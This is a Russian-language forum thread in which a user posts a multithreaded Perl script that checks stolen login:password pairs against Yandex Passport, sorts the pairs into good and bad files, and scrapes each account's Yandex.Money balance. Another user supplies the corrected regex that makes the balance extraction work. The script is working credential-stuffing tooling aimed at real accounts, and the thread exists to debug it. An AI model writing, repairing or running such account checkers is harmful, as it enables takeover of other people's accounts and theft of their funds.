[Помогите!] Perl чекер баланса...

[Excellent18rus]

вообщем у меня был скрипт Чека яндекса на баланс на Php
и скрипт чека 4гейма на перле)

я их пытался соединить,т.к мне надо скрипт чека яндекса на перле...

и что же у меня вышло..

#!/usr/bin/perl
#© dpe


use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
use HTTP::Request::Common;


#######################Config##################################

my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';';    #разделитель
my $threads = 1;      #кол-во потоков
my $good = 'good.txt'; #файл с гудами
my $bad = 'bad.txt';   #файл с бэдами

###############################################################


my @accs : shared = lf($accs);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;

sub main {
while(@accs) {
my ($login, $pass) = split $acc_delm => shift @accs;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar({});
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $resp = $ua->post('https://pda-passport.yandex.ru/passport?mode=auth',
                            [ 'timestamp' =>'',
                             'login' => $login,
                             'passwd' => $pass]);

if ($resp-> content=~ m/mode=register/msgi){
print "[BAD] $login:$pass\n";
wf($bad, "$login:$pass\n");}
else {
$resp = $ua->get("https://m.money.yandex.ru/")->content;
my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;
print "[GOOD] $login:$pass:$bal\n";
wf($good, "$login:$pass:$bal\n");}
}
}
sub lf
{
open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}

гуд\бэд определяет.. но баланс не пишет..
скорее всего что-то неверно в этой строке

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;
т.к я вообще не понял что там откуда)

изначально строка Perla
my $bal = $2 if $resp =~ /class="text_green"(>)(\d{1,10})\s(.*)<\/span>/;
из этого кода

на счету <span class="text_green">0 руб.</span>и <span class="bonus">

выводит только 0 ...

мне надо вывести 0 из этого кода

<strong class="b-sum__value">0</strong> руб.</span>

[fesssi]

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})\s(.*)<\/span>/;

<strong class="b-sum__value">0</strong> руб.</span>

my $bal = $2 if $resp =~ /class="b-sum__value"(>)(\d{1,10})<\/strong>(\s{1,5})<\/span>/;


Типо так а ваще посмотри регулярки (регулярные сообщения)